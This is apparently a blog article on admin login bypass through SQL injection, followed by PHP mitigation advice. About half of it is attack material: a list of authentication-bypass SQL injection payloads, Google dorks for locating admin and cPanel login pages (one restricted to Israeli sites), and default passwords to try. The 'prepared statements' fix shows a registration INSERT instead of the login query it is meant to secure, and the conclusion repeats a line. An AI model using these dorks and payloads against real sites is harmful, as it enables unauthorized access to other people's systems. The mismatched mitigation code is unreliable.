Mitigating Admin Login Bypass in Web Security

Before exploring the complexities of bypassing admin login mechanisms, it’s crucial to understand what “Admin Login Bypass” actually involves. This technique enables unauthorized access to the admin login page of a website, bypassing standard authentication procedures. This exposure can potentially allow malicious entities to access and modify admin pages, highlighting significant vulnerabilities.

The Importance of Robust Admin Login Security#

The significance of secure admin logins cannot be overstated. Websites with weak authentication systems are prime targets for hackers. It is imperative for website owners to strengthen their admin logins to prevent unauthorized access, thereby protecting sensitive data and maintaining site integrity.

Connection to SQL Injection#

Admin login bypass is closely associated with SQL Injection — a common security vulnerability that allows attackers to impersonate an admin through malformed SQL queries. For example, using a username and password combination like “admin” or “1=1” manipulates the SQL query, granting access without further exploitation.

Commonly Used SQL Queries for Bypass#

In the realm of unauthorized access, certain SQL queries are notoriously used to bypass admin logins. Some of these include:

• admin' #
• admin' or '1' = '1
• admin' or '1' = '1' #
• admin 'or 1 = 1 or' '='
• 'or 1 = 1 limit 1 -- -+
• ' or '1' = '1
• ' or 'x' = 'x
• ' or 0 = 0 -
• 'or 0 = 0 #
• ' or 1 = 1 --
• 'or' one '=' one
• 'or 1 = 1 -- -'or'

Using DORKs and Payloads for Bypassing Admin Logins#

To ethically test these vulnerabilities in controlled environments, here are some Google DORKs and payloads used to find and exploit weak login systems:

DORKs:

• inurl:/admin/login.php site:il
• inurl:/admin/login.php "administrator"
• inurl:/cpanel/login.php
• inurl:/cpanel/admin.php
• inurl:/cpanel/

Payloads for Auth/Author Bypass:

• ' or 1=1 limit 1 -- -+
• '="or'
• admin
• pass
• pass123
• 1234
• administrator
• passwd

Mitigating the Bypass Vulnerability#

To mitigate such vulnerabilities, enhancing script security in login systems is critical. A practical approach includes refining the PHP login script to employ more secure practices:

Original Code:

$username = $_POST["username"];  
$password = $_POST["password"];

Revised Code:

$username = mysqli_real_escape_string($conn, $_POST["username"]);  
$password = mysqli_real_escape_string($conn, $_POST["password"]);

Incorporating functions like mysqli_real_escape_string helps prevent SQL injection by escaping special characters in input strings, thus securing the login process against such exploits.

Beyond Simple Escaping: Strengthening Security with Advanced Techniques#

While mysqli_real_escape_string is beneficial, employing prepared statements offers a more robust defense against SQL Injection. Prepared statements handle all escaping automatically and can improve performance with repeated query executions.

Example with Prepared Statements using MySQLi:

// Create database connection  
$conn = new mysqli($servername, $username, $password, $dbname);  
  
// Check connection  
if ($conn->connect_error) {  
    die("Connection failed: " . $conn->connect_error);  
}  
  
// Retrieve data from POST  
$username = $_POST["username"];  
$hashedPassword = password_hash($_POST["password"], PASSWORD_DEFAULT);  
  
// Prepare SQL statement  
$stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");  
  
// Bind parameters to the statement  
$stmt->bind_param("ss", $username, $hashedPassword);  
  
// Execute statement  
$stmt->execute();  
  
// Close statement and connection  
$stmt->close();  
$conn->close();

This example demonstrates the security enhancements achieved by using prepared statements and hashing passwords, providing robust protection against SQL injection and securing user passwords effectively.

Conclusion#

In conclusion, the security of admin login systems is paramount. By understanding the methods used for bypasses and employing more secure coding practices, web administrators can significantly reduce vulnerabilities and enhance the security posture of their sites.

vulnerabilities and enhance the security posture of their sites.

Thanks to: Ketapang Cyber Team